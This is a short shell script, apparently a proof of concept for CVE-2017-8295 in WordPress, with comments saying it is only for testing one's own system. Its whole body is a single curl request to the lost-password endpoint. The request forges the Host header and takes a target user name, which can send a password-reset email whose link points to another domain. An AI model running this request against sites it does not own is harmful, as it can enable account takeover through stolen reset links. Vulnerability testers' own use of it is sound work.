test-WP-CVE-2017-8295.sh

# It's Work to you test if the vulnerability is working
# use only to test your system
# use with responsability
#
# use method:
# test-WP-CVE-2017-8295.sh [YOUR-SITE-TO-TEST] [USER-TO-TEST]
# ex: test-WP-CVE-2017-8295.sh example.com user


curl --write-out %{http_code} --silent --output ~/body.txt \
        -X POST "$1/wp-login.php?action=lostpassword" \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -H 'host: example.com' \
  -H "origin: $1" \
  -H "referer: $1/wp-login.php?action=lostpassword" \
  -d user_login=$2